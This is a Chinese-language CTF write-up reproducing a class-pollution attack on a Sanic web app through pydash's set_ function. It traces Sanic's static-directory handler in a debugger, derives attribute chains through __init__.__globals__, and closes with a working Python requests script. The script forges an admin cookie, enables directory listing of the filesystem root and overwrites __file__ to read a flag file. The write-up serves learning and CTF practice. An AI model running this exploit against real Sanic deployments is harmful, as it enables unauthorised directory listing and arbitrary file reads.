Sanic&Pydash原型链污染复现
2024-06-08 18:43:42

Sanic&Pydash原型链污染复现

static函数

函数原型如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def static(
self,
uri: str,
file_or_directory: Union[PathLike, str],
pattern: str = r"/?.+",
use_modified_since: bool = True,
use_content_range: bool = False,
stream_large_files: Union[bool, int] = False,
name: str = "static",
host: Optional[str] = None,
strict_slashes: Optional[bool] = None,
content_type: Optional[str] = None,
apply: bool = True,
resource_type: Optional[str] = None,
index: Optional[Union[str, Sequence[str]]] = None,
directory_view: bool = False,
directory_handler: Optional[DirectoryHandler] = None,
):
"""
directory_view (bool, optional): Whether to fallback to showing
the directory viewer when exposing a directory. Defaults
to `False`.
directory_handler (Optional[DirectoryHandler], optional): An
instance of DirectoryHandler that can be used for explicitly
controlling and subclassing the behavior of the default
directory handler.
"""

重点关注下以上两个参数directory_viewdirectory_handler,这两个参数与读static目录有关

directory_view

测试的时候加上这个参数,然后访问static目录

image-20240608162635707

image-20240608162717923

可以发现实现了目录读取

directory_handler

调试技巧:找路由,因为static也是路由中的一部分,它应该是以表的形式进行存储

在Pycharm的补全下,可以发现有属性app.router.name_index列表,然后找到一处使用name_index的代码位置下断点,查看变量

可以发现DirectoryHandler对象

image-20240608170403339

可以首先构造出的一条链子,需要设置为True

1
__init__.__globals__.app.router.name_index.__mp_main__.static.handler.keywords.directory_handler.directory_view

处理Path对象

​ 其次是WindowsPath这个对象的处理

image-20240608170758035

​ 在DirectoryHandler下个断点先,传入HTTP请求对象以及URI

image-20240608171245544

​ 在开启directory_view的情况下会进入这个分支

image-20240608171353211

​ 跟进会到这个函数中,可以发现

image-20240608171630048

image-20240608171718383

​ 接下来说明:主要是WindowsPath中的parts元组起作用了

​ 在最后的页面渲染前获取page

image-20240608174952125

​ self为WindowsPath文件对象,一直跟可以发现最后封装了os.listdir

image-20240608174745258

​ iterdir为生成器函数,遍历了static目录列表

image-20240608174811353

​ 跟进查看self._accessor.listdir

image-20240608174850352

​ 跟进

image-20240608174907092

​ 看看listdir

image-20240608174108057

​ 然后就是Windows文件对象怎么解析成字符串了,考虑魔术方法:

image-20240608175739396

​ Windows对应于第一个代码块,对于Linux下应该就是else分支中的代码获取listdir路径

​ 此处使用parts作为元组,拼接成路径字符串

image-20240608181932069

所以第二条链子

1
__init__.__globals__.app.router.name_index.__mp_main__.static.handler.keywords.directory_handler.directory.parts

pydash原型链污染

首先得明确一点,原型链污染不会直接RCE的

原型链污染是通过污染一些关键函数的参数,导致了诸如拼接命令的执行,以及污染一些魔术变量来进行任意文件读、目录读

漏洞场景:

1
2
pollute = Pollute()
pydash.set_(pollute, key, value)

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests

url = "https://203ca7f0-a069-4bff-b9bd-fc54ab33db47.challenge.ctf.show"

s = requests.session()

cookie = {
"user": '"adm\\073n"'
}

resp = s.get(url + "/login", cookies=cookie)
print(resp.text)

# 修改directory_view属性
data1 = {
# app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory_view
"key": "__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view",
"value": True
}

resp1 = s.get(url + "/admin", json=data1)
print(resp1.text)


data2 = {
# app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory_view
"key": "__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts",
"value": ["/"]
}

resp2 = s.get(url + '/admin', json=data2)
print(resp2.text)


#
# resp3 = s.get(url + '/static/')
# print(resp3.text)

# 24bcbd0192e591d6ded1_flag


readflag = {
"key": "__init__\\\\.__globals__\\\\.__file__",
"value": "/24bcbd0192e591d6ded1_flag"
}

resp3 = s.get(url+'/admin', json=readflag)

resp4 = s.get(url+'/src')
print(resp4.text)

s.close()


image-20240608183951812

只能说这题,极具web调链的艺术!

参考

https://www.cnblogs.com/gxngxngxn/p/18205235

Prev
2024-06-08 18:43:42
Next